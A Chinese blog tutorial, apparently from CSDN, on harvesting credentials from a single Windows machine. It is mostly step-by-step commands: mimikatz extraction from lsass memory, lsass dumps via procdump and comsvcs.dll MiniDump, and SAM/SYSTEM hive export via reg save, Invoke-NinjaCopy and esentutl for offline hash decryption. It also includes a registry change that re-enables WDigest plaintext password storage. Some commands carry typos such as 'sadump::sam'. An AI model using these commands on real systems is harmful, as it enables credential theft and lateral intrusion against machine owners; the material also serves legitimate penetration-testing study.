凭据获取——windows单机凭据获取

在windows中,SAM文件是windows用户的账户数据库,位于系统的%SystemRoot%\System\Config目录中,所有本地用户的用户名、密码hash等信息都存储在这个文件中。用户输入密码登录时,用户输入的明文密码会被转化为hash,然后再与SAM文件中的hash值对比,若相同,则认证成功。lsass.exe是windows的一个系统进程,用于实现系统的安全机制,主要用于本地安全和登录策略。在通常情况下,用户输入密码登录后,登录的域名、用户名和登录凭据等信息会存储在lsass.exe的进程空间中,用户的明文密码经过WDigestTspkg模块调用后,会对其使用可逆的算法进行加密并存储在内存中。

用来获取主机的用户密码和hash的工作大多通过读取SAM文件或者访问lsass.exe进程的内存数据等操作来实现。这些操作大多需要管理员权限

windows的登陆机制为单点登录,用户只需要输入一次密码,就可以使用所有需要身份验证的程序。具体来说,用户第一次凭据验证通过后,windows会将凭据放在lsass.exe(本地安全验证)进程的内存中,随后当其他进程需要验证用户身份时,该进程会帮助用户完成认证。

一、在线读取lsass进程内存

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
# privilege::debug:提升至Debugprivlege权限
# sekurlsa::logonpasswords full:从lsass.exe中提取凭证

在这里插入图片描述

如果出现以下错误,需要用管理员身份打开cmd命令行。
在这里插入图片描述

如果目标机器安装了KB2871997补丁,该补丁禁止WDigest在内存中存储明文密码。

# 查询UseLogonCredential的值,为1代表系统记录明文密码;为0代表不几流明文密码
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential

# 开启密码记录功能,开启之后
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1

二、离线读取lsass.exe进程内存

除了在线读取外,还可以直接将lsass.exe的进程内存转存,将内存文件导出到本地后,使用mimikatz.exe进行离线读取。

2.1 直接在进程管理器中生成指定程序的转储文件

在这里插入图片描述

在这里插入图片描述

使用mimikatz.exe解密转储文件

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit
# sekurlsa::minidump lsass.dump:加载转储文件
# sekurlsa::logonpasswords full:导出用户凭证

在这里插入图片描述

2.2 ProcDump转储

这里使用procdump实现离线转存。

procdump.exe -accepteula -ma lsass.exe lsass.dmp # 将lsass.exe进程转存
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit
# sekurlsa::minidump lsass.dump:加载转储文件
# sekurlsa::logonpasswords full:导出用户凭证

在这里插入图片描述

在这里插入图片描述

2.3 使用Comsvcs.dll获取转储文件

Comsvcs.dll是windows自带的DLL文件,它包含一个名为MiniDump的函数,而该函数在底层调用了MiniDumpWriteDump接口,该接口可以创建指定进程的转储文件。

1、转储时需要指定Lsass进程的PID,执行下面的命令获取lsass.exe进程的PID。

tasklist | findstr /i lsass

在这里插入图片描述
2、需要保证当前会话已经启用SeDebugPrivilege特权,cmd本身会禁用该特权,powershell默认开启。

# 判断cmd是否开启
whoami /priv | findstr SeDebugPrivilege

# 判断powershell是否开启
powershell whoami /priv | findstr SeDebugPrivilege

在这里插入图片描述
3、生成lsass进程的转储文件

powershell rundll32.exe comsvcs.dll,MiniDump 484 C:\lsass.dmp full

在这里插入图片描述

三、在线读取本地SAM文件

SAM文件中所保存的用户凭据并非明文存储,而是通过SysKey(SAM锁定工具)加密。使用下面的命令读取SAM文件中保存的用户hash凭证,注意是当前系统中本地用户的hash

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
# privilege::debug:提升至SeDebugprivlege权限
# token::elevate:提升到system权限
# lsadump::sam:读取本地sam文件,并使用SysKey进行解密

在这里插入图片描述

四、离线读取本地SAM文件

离线读取就是将SAM文件导出,使用mimikatz加载并读取其中用户的登录凭证等信息。注意:为了提高SAM文件的安全性以防止被离线破解,windows会对SAM文件使用密钥进行加密,这个密钥存储在SYSTEM文件中,与SAM文件在同一目录下。

4.1 利用powershell获取sam文件

通过Invoke-NinjaCopy.psl脚本实现
在目标主机上导出SAM和SYSTEM文件,因为系统在运行时,这两个文件被锁定,可以使用PowerSploit项目中的Invoke-NinjaCopy.psl脚本实现。

管理员身份启动powershell,在域环境中需要域管理员密码才能启动。

Import-Module .\Invoke-NinjaCopy.psl
Invoke-NinjaCopy -Path "C:\Windows\System32\config\sam" -LocalDestination C:\Temp\SAM
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination C:\Temp\SYSTEM

在这里插入图片描述

出现以下错误,运行Set-ExecutionPolicy Unrestricted -Scope CurrrentUser
在这里插入图片描述

# 使用mimikatz加载并读取SAM中的用户凭证信息
mimikatz.exe "lsadump::sam /sam:C:\SAM /system:C:\SYSTEM" exit

在这里插入图片描述

4.2 利用注册表获取sam文件

需要管理员权限

# 使用管理员权限,通过保存注册表的方式导出
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive

# 使用mimikatz加载并读取SAM中的用户凭证
mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit

# 或者用kali自带samdumpe进行解密
samdump2 system.hive sam.hive 

在这里插入图片描述

4.3 利用Esentutl获取sam文件

版本要求:windows 10、windows server 2016及以上版本
esentutl.exe是windows自带的命令行程序,专门用来做数据库维护以及进行数据库恢复操作。

# 导出SAM文件和SYSTEM文件
esentutl.exe /y /vss C:\Windows\System32\config\System /d system
esentutl.exe /y /vss C:\Windows\System32\config\SAM /d sam

# 导入mimikatz
sadump::sam /sam:sam /system:system

没装Win 10虚拟机,没敢在自己电脑试~

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值